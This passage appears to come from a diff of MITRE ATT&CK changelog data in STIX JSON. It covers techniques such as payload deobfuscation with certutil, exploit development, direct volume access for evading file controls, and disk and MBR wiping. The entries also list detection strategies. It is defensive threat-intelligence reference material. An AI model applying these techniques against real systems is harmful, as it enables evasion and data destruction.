+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0082: Internal Website and System Content Defacement via UI or Messaging Modifications"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-12-14 16:46:06.044000+00:00",
+ "modified": "2025-10-24 17:48:40.925000+00:00",
+ "name": "Deobfuscate/Decode Files or Information",
+ "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)(Citation: Sentinel One Tainted Love 2023)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016)",
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+ "source_name": "Volexity PowerDuke November 2016",
+ "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
+ "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
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+ "source_name": "Sentinel One Tainted Love 2023",
+ "description": "Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen. (2023, March 23). Operation Tainted Love | Chinese APTs Target Telcos in New Attacks. Retrieved March 18, 2025.",
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+ },
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+ "source_name": "Malwarebytes Targeted Attack against Saudi Arabia",
+ "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.",
+ "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
+ },
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+ "source_name": "Carbon Black Obfuscation Sept 2016",
+ "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
+ "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"
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+ "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
+ "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ },
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+ "source_name": "Talos Promethium June 2020",
+ "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.",
+ "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"
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+ "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.",
+ "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"
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+ "source_name": "Wikipedia Code Signing",
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+ "source_name": "Splunk Kovar Certificates 2017",
+ "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.137000+00:00\", \"old_value\": \"2025-04-15 22:18:36.653000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n\\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n-\\n-Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0035: Internet Scan (Response Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0844: Detection of Digital Certificates"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 01:48:15.511000+00:00",
+ "modified": "2025-10-24 17:49:17.967000+00:00",
+ "name": "Exploits",
+ "description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1587/004",
+ "external_id": "T1587.004"
+ },
+ {
+ "source_name": "Irongeek Sims BSides 2017",
+ "description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.",
+ "url": "https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims"
+ },
+ {
+ "source_name": "NYTStuxnet",
+ "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
+ "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.967000+00:00\", \"old_value\": \"2025-04-15 22:33:51.026000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0894: Detection of Exploits"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:20.934000+00:00",
+ "modified": "2025-10-24 17:48:23.015000+00:00",
+ "name": "Direct Volume Access",
+ "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1006",
+ "external_id": "T1006"
+ },
+ {
+ "source_name": "Github PowerSploit Ninjacopy",
+ "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
+ "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
+ },
+ {
+ "source_name": "Hakobyan 2009",
+ "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
+ "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"
+ },
+ {
+ "source_name": "LOLBAS Esentutl",
+ "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Tom Simpson, CrowdStrike Falcon OverWatch"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "2.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Drive: Drive Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.015000+00:00\", \"old_value\": \"2025-04-15 19:58:05.272000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\\n\\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.\"}}}",
+ "previous_version": "2.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0016: Drive (Drive Access)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0426: Detection of Direct Volume Access for File System Evasion"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-20 22:02:20.372000+00:00",
+ "modified": "2025-10-24 17:48:27.697000+00:00",
+ "name": "Disk Wipe",
+ "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1561",
+ "external_id": "T1561"
+ },
+ {
+ "source_name": "erase_cmd_cisco",
+ "description": "Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
+ "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463"
+ },
+ {
+ "source_name": "Novetta Blockbuster Destructive Malware",
+ "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
+ },
+ {
+ "source_name": "Microsoft Sysmon v6 May 2017",
+ "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
+ "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Austin Clark, @c2defense"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Availability"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "Network Devices"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Drive: Drive Access\", \"Command: Command Execution\", \"Drive: Drive Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.697000+00:00\", \"old_value\": \"2025-04-15 19:58:09.974000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1053: Data Backup"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0016: Drive (Drive Access)",
+ "DS0016: Drive (Drive Modification)",
+ "DS0017: Command (Command Execution)",
+ "DS0027: Driver (Driver Load)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0137: Detection Strategy for Disk Wipe via Direct Disk Access and Destructive Commands"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-20 22:06:41.739000+00:00",
+ "modified": "2025-10-24 17:49:38.983000+00:00",
+ "name": "Disk Content Wipe",
+ "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1561/001",
+ "external_id": "T1561.001"
+ },
+ {
+ "source_name": "DOJ Lazarus Sony 2018",
+ "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
+ "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
+ },
+ {
+ "source_name": "Novetta Blockbuster Destructive Malware",
+ "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
+ },
+ {
+ "source_name": "Novetta Blockbuster",
+ "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
+ "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
+ },
+ {
+ "source_name": "Microsoft Sysmon v6 May 2017",
+ "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
+ "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Availability"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Network Devices",
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Drive: Drive Modification\", \"Drive: Drive Access\", \"Driver: Driver Load\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.983000+00:00\", \"old_value\": \"2025-04-15 19:59:23.834000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1053: Data Backup"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0016: Drive (Drive Access)",
+ "DS0016: Drive (Drive Modification)",
+ "DS0017: Command (Command Execution)",
+ "DS0027: Driver (Driver Load)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0316: Detection Strategy for Disk Content Wipe via Direct Access and Overwrite"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-20 22:10:20.484000+00:00",
+ "modified": "2025-10-24 17:48:22.482000+00:00",
+ "name": "Disk Structure Wipe",
+ "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1561/002",
+ "external_id": "T1561.002"
+ },
+ {
+ "source_name": "format_cmd_cisco",
+ "description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.",
+ "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"
+ },
+ {
+ "source_name": "Unit 42 Shamoon3 2018",
+ "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
+ },
+ {
+ "source_name": "Palo Alto Shamoon Nov 2016",
+ "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
+ "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
+ },
+ {
+ "source_name": "FireEye Shamoon Nov 2016",
+ "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
+ },
+ {
+ "source_name": "Kaspersky StoneDrill 2017",
+ "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
+ "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
+ },
+ {
+ "source_name": "Microsoft Sysmon v6 May 2017",
+ "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
+ "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
+ },
+ {
+ "source_name": "Symantec Shamoon 2012",
+ "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
+ "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Austin Clark, @c2defense"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Availability"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "Network Devices"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Drive: Drive Modification\", \"Drive: Drive Access\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.482000+00:00\", \"old_value\": \"2025-04-15 19:58:04.838000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ 